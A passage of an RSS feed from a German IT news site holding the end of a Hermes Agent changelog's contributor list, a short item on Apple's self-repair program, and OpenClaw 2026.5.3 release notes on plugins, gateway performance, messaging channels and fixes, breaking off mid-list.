data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcndjxlefnd">@mcndjxlefnd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MestreY0d4-Uninter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MestreY0d4-Uninter">@MestreY0d4-Uninter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mewwts/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mewwts">@mewwts</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mirac1eSky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mirac1eSky">@Mirac1eSky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrhwick/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrhwick">@mrhwick</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrunmayee17/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrunmayee17">@mrunmayee17</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mssteuer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mssteuer">@mssteuer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nanako0129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nanako0129">@Nanako0129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nazirulhafiy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nazirulhafiy">@nazirulhafiy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nerijusas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nerijusas">@Nerijusas</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicecsh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicecsh">@Nicecsh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nightq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nightq">@nightq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ningfangbin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ningfangbin">@ningfangbin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/octo-patch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/octo-patch">@octo-patch</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/octopus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/octopus">@octopus</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paperclip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paperclip">@paperclip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pein892/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pein892">@pein892</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/perlowja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/perlowja">@perlowja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/prasadus92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/prasadus92">@prasadus92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qike-ms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qike-ms">@qike-ms</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qiyin-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qiyin-code">@qiyin-code</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Readon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Readon">@Readon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ReginaldasR/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ReginaldasR">@ReginaldasR</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/revaraver/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/revaraver">@revaraver</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfilgueiras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfilgueiras">@rfilgueiras</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rmoen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rmoen">@rmoen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/romanornr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/romanornr">@romanornr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rugvedS07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rugvedS07">@rugvedS07</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rylena/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rylena">@rylena</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samrusani/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samrusani">@samrusani</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sasha-id/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sasha-id">@sasha-id</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Satoshi-agi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Satoshi-agi">@Satoshi-agi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scheidti/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scheidti">@scheidti</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotttrinh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotttrinh">@scotttrinh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/season179/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/season179">@season179</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SeeYangZhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SeeYangZhi">@SeeYangZhi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sgaofen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sgaofen">@sgaofen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shamork/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shamork">@shamork</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simbam99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simbam99">@simbam99</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Societus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Societus">@Societus</a>, @socrates1024, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sonoyunchu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sonoyunchu">@Sonoyunchu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tangyuanjc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tangyuanjc">@tangyuanjc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TechPrototyper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TechPrototyper">@TechPrototyper</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tekgnosis-net/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tekgnosis-net">@tekgnosis-net</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ThomassJonax/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ThomassJonax">@ThomassJonax</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tmimmanuel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tmimmanuel">@tmimmanuel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tochukwuada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tochukwuada">@tochukwuada</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tosko4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tosko4">@Tosko4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tranquil-Flow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tranquil-Flow">@Tranquil-Flow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/twozle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/twozle">@twozle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/txbxxx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/txbxxx">@txbxxx</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UgwujaGeorge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UgwujaGeorge">@UgwujaGeorge</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/versun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/versun">@versun</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vlwkaos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vlwkaos">@vlwkaos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/voidborne-d/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/voidborne-d">@voidborne-d</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vominh1919/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vominh1919">@vominh1919</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Wang-tianhao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Wang-tianhao">@Wang-tianhao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Wangshengyang2004/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Wangshengyang2004">@Wangshengyang2004</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/westers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/westers">@westers</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wysie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wysie">@wysie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xandersbell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xandersbell">@xandersbell</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiahu88988/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiahu88988">@xiahu88988</a>, @XieNBi, @xinbenlv, @xnbi, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/y0shua1ee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/y0shua1ee">@y0shua1ee</a>, @yatesjalex, @yes999zc,<br>
@yeyitech, @Yoimex, @YueLich, @Yukipukii1, @zhiyanliu, @zicochaos, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zjianru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zjianru">@Zjianru</a>, @zkl2333, @zons-zhaozhy,<br>
@ztexydt-cqh.</p>
<p>Also: @Siddharth Balyan, @YuShu.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.4.23...v2026.4.30">v2026.4.23...v2026.4.30</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apples Selbstreparatur: Lohnt sich nur, wenn man unbedingt will]]></title>
<description><![CDATA[Das Display des iPhone ist kaputt – da helfe ich mir doch selbst: Wer so denkt, gerät bei Apples Self Service Repair Program schnell ins Minus.]]></description>
<link>https://tsecurity.de/de/3485668/it-nachrichten/apples-selbstreparatur-lohnt-sich-nur-wenn-man-unbedingt-will/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3485668/it-nachrichten/apples-selbstreparatur-lohnt-sich-nur-wenn-man-unbedingt-will/</guid>
<pubDate>Mon, 04 May 2026 12:02:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Display des iPhone ist kaputt – da helfe ich mir doch selbst: Wer so denkt, gerät bei Apples Self Service Repair Program schnell ins Minus.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.5.3]]></title>
<description><![CDATA[Highlights

Plugins/file-transfer: add bundled file-transfer plugin with file_fetch, dir_list, dir_fetch, and file_write agent tools for binary file ops on paired nodes; default-deny per-node path policy under plugins.entries.file-transfer.config.nodes with operator approval, symlink traversal re...]]></description>
<link>https://tsecurity.de/de/3485244/downloads/openclaw-202653/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3485244/downloads/openclaw-202653/</guid>
<pubDate>Mon, 04 May 2026 09:15:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Plugins/file-transfer: add bundled file-transfer plugin with <code>file_fetch</code>, <code>dir_list</code>, <code>dir_fetch</code>, and <code>file_write</code> agent tools for binary file ops on paired nodes; default-deny per-node path policy under <code>plugins.entries.file-transfer.config.nodes</code> with operator approval, symlink traversal refused by default (opt-in <code>followSymlinks</code>), and a 16 MB byte ceiling per round-trip. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354792250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74742" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74742/hovercard" href="https://github.com/openclaw/openclaw/pull/74742">#74742</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li>Plugins/install: harden official plugin install, uninstall, update, onboarding, ClawHub fallback, npm dependency-state reporting, and beta-channel update paths so externalized plugins behave like first-class package installs.</li>
<li>Gateway/performance: trim startup and Control UI hot paths by lazy-loading plugin/runtime discovery, cron, schema, shutdown, sessions, and model metadata work only when needed.</li>
<li>Channels/replies: improve Discord status reactions and degraded transport reporting, add WhatsApp Channel/Newsletter targets, and tighten Telegram, Feishu, Matrix, Microsoft Teams, and Slack delivery/recovery behavior.</li>
<li>Install/update: recover broken macOS LaunchAgent upgrades, reject source-only plugin packages before runtime load, and repair stale Gateway/plugin state during updates and doctor runs.</li>
<li>Agent/runtime reliability: preserve streamed provider replies, delayed A2A session replies, prompt/tool delivery, memory recall, web search provider discovery, and provider-specific thinking/model metadata across common edge cases.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Channels/streaming: add unified <code>streaming.mode: "progress"</code> drafts with auto single-word status labels and shared progress configuration across Discord, Telegram, Matrix, Slack, and Microsoft Teams.</li>
<li>Agents/commands: add <code>/steer &lt;message&gt;</code> for queue-independent steering of the active current-session run without starting a new turn when the session is idle. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372960326" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76934/hovercard" href="https://github.com/openclaw/openclaw/pull/76934">#76934</a>)</li>
<li>Tools/BTW: add <code>/side</code> as a text and native slash-command alias for <code>/btw</code> side questions.</li>
<li>Doctor/config: <code>doctor --fix</code> now commits safe legacy migrations even when unrelated validation issues (e.g. a missing plugin) prevent full validation from passing, so <code>agents.defaults.llm</code> and other known-legacy keys are always cleaned up by <code>doctor --fix</code> regardless of other config problems. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372284670" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76798" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76798/hovercard" href="https://github.com/openclaw/openclaw/issues/76798">#76798</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372297549" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76800" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76800/hovercard" href="https://github.com/openclaw/openclaw/pull/76800">#76800</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Agents/tools: skip optional media and PDF tool factories when the effective tool denylist already blocks them, avoiding unnecessary hot-path setup for tools that will be filtered out before model use. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372183833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76773/hovercard" href="https://github.com/openclaw/openclaw/pull/76773">#76773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorukardahan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorukardahan">@dorukardahan</a>.</li>
<li>Discord/status: let explicit reaction tool calls opt into tracking subsequent tool progress on the reacted message with <code>trackToolCalls: true</code>, and use the shared tool display emoji table for status reactions.</li>
<li>Gateway/config: stop Gateway startup and hot reload from auto-restoring invalid config; invalid config now fails closed and <code>openclaw doctor --fix</code> owns last-known-good repair.</li>
<li>Gateway/performance: lazy-load early runtime discovery and shutdown-hook helpers, defer maintenance timers until after readiness, and trim duplicate plugin auto-enable work during Gateway startup.</li>
<li>QA/Mantis: add a <code>pnpm openclaw qa mantis discord-smoke</code> runner and manual GitHub workflow that verify the Mantis Discord bot can see the configured guild/channel, post a smoke message, add a reaction, and upload artifacts.</li>
<li>QA/Slack: add a Slack live transport QA runner with canary and mention-gating coverage for the private bot-to-bot harness. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/onboarding: let Manual setup install optional official plugins, including ClawHub-backed diagnostics with npm fallback, and expose the external Codex plugin as a selectable provider setup choice. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI/update: include package dependency install state in <code>openclaw plugins list --json</code>, trust official externalized npm migrations, clean stale bundled load paths for externalized installs, try plugin <code>@beta</code> updates first on the beta OpenClaw channel, and fall back to default/latest when no plugin beta release exists.</li>
<li>Plugins/ClawHub: annotate 429 errors with reset windows and unauthenticated higher-rate-limit hints, so operators can tell when downloads recover and when signing in helps. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Gateway/performance: lazy-load early runtime discovery, shutdown hooks, cron, channel-config schema metadata, restart sentinels, and maintenance timers after readiness; trim duplicate plugin auto-enable work and add startup CPU/profile controls.</li>
<li>Gateway/config: stop Gateway startup and hot reload from auto-restoring invalid config; invalid config now fails closed and <code>openclaw doctor --fix</code> owns last-known-good repair.</li>
<li>Discord/status: let explicit reaction tool calls opt into tracking later tool progress with <code>trackToolCalls: true</code>, share tool display emoji mapping, and surface degraded Discord transport or gateway event-loop starvation in status output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370424830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76327/hovercard" href="https://github.com/openclaw/openclaw/pull/76327">#76327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Channels/WhatsApp: support explicit WhatsApp Channel/Newsletter <code>@newsletter</code> outbound message targets with channel session metadata instead of DM routing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3921599881" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13417" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/13417/hovercard" href="https://github.com/openclaw/openclaw/issues/13417">#13417</a>; carries forward the narrow outbound target idea from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3921655588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13424" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/13424/hovercard" href="https://github.com/openclaw/openclaw/pull/13424">#13424</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agentz-manfred/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agentz-manfred">@agentz-manfred</a>.</li>
<li>Agents/tools: skip optional media and PDF tool factories when the effective tool denylist already blocks them, avoiding unnecessary hot-path setup for tools that will be filtered out before model use. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372183833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76773/hovercard" href="https://github.com/openclaw/openclaw/pull/76773">#76773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorukardahan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorukardahan">@dorukardahan</a>.</li>
<li>Agents/sandbox: store sandbox container and browser registry entries as per-runtime shard files, reducing unrelated session lock contention while <code>openclaw doctor --fix</code> migrates legacy monolithic registry files. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355267442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74831" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74831/hovercard" href="https://github.com/openclaw/openclaw/pull/74831">#74831</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luckylhb90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luckylhb90">@luckylhb90</a>.</li>
<li>Tools/BTW: add <code>/side</code> as a text and native slash-command alias for <code>/btw</code> side questions.</li>
<li>Exec approvals: add a tree-sitter-backed shell command explainer for future approval and command-review surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356957695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75004/hovercard" href="https://github.com/openclaw/openclaw/pull/75004">#75004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>QA/Mantis: add a <code>pnpm openclaw qa mantis discord-smoke</code> runner and manual GitHub workflow that verify the Mantis Discord bot can see the configured guild/channel, post a smoke message, add a reaction, and upload artifacts.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Channels/WhatsApp: allow <code>@whiskeysockets/libsignal-node</code> in <code>onlyBuiltDependencies</code> so pnpm v9+ <code>blockExoticSubdeps</code> no longer rejects the baileys git-tarball subdep and silences all inbound agent replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371187256" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76539" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76539/hovercard" href="https://github.com/openclaw/openclaw/issues/76539">#76539</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ottodeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ottodeng">@ottodeng</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/systemd: preserve operator-added secrets in the Gateway env file across re-stage while clearing OpenClaw-managed keys (such as <code>OPENCLAW_GATEWAY_TOKEN</code>) so a fresh staging value is never shadowed by a stale env-file copy; operator secrets are also retained when the state-dir <code>.env</code> is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372544865" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76860" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76860/hovercard" href="https://github.com/openclaw/openclaw/issues/76860">#76860</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
